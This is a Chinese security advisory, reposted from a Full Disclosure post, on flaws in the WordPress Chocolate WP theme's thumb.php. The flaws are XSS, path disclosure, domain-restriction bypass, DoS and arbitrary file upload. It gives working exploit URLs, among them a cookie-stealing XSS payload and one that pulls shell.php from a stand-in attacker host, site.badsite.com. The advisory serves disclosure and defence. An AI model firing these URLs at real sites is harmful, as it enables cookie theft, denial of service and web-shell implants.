WordPress Chocolate WP Theme多个安全漏洞


发布日期：2013-01-23
更新日期：2013-01-26

受影响系统：
WordPress Chocolate WP Theme
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 57541
 
WordPress Chocolate WP是WP的商业主题。
 
Chocolate WP Theme for WordPress在实现上存在跨站脚本、路径泄露、滥用功能、拒绝服务和任意文件上传漏洞，攻击者可利用这些漏洞进行拒绝服务攻击、上传任意文件到受影响计算机、执行任意脚本代码等。细节请见：
 
XSS (WASC-08) (in older versions of TimThumb):
 
http://site/wp-content/themes/dt-chocolate/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
 
Full path disclosure (WASC-13):
 
http://site/wp-content/themes/dt-chocolate/thumb.php?src=%3C111
 
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/page.png&h=1&w=1111111
 
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/page.png&h=1111111&w=1
 
Abuse of Functionality (WASC-42):
 
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site&h=1&w=1
 http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)
 
DoS (WASC-10):
 
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/big_file&h=1&w=1
 http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)
 
About such Abuse of Functionality and Denial of Service vulnerabilities you
can read in my article Using of the sites for attacks on other sites
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).
 
Arbitrary File Upload (WASC-31):
 
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/shell.php
 
Full path disclosure (WASC-13):
 
http://site/wp-content/themes/dt-chocolate/
 
<*来源：Eugene Dokukin
 
  链接：http://seclists.org/fulldisclosure/2013/Jan/215
 *>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
To exploit these issues, an attacker must entice an unsuspecting user to follow a malicious URI.
 
The following example URIs are available:
 
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
 http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site/big_file&amp;amp;h=1&amp;amp;w=1
 http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/big_file&amp;amp;h=1&amp;amp;w=1
 http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/shell.php

建议：
--------------------------------------------------------------------------------
厂商补丁：
 
WordPress
 ---------
 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
 
http://wordpress.org/

相关内容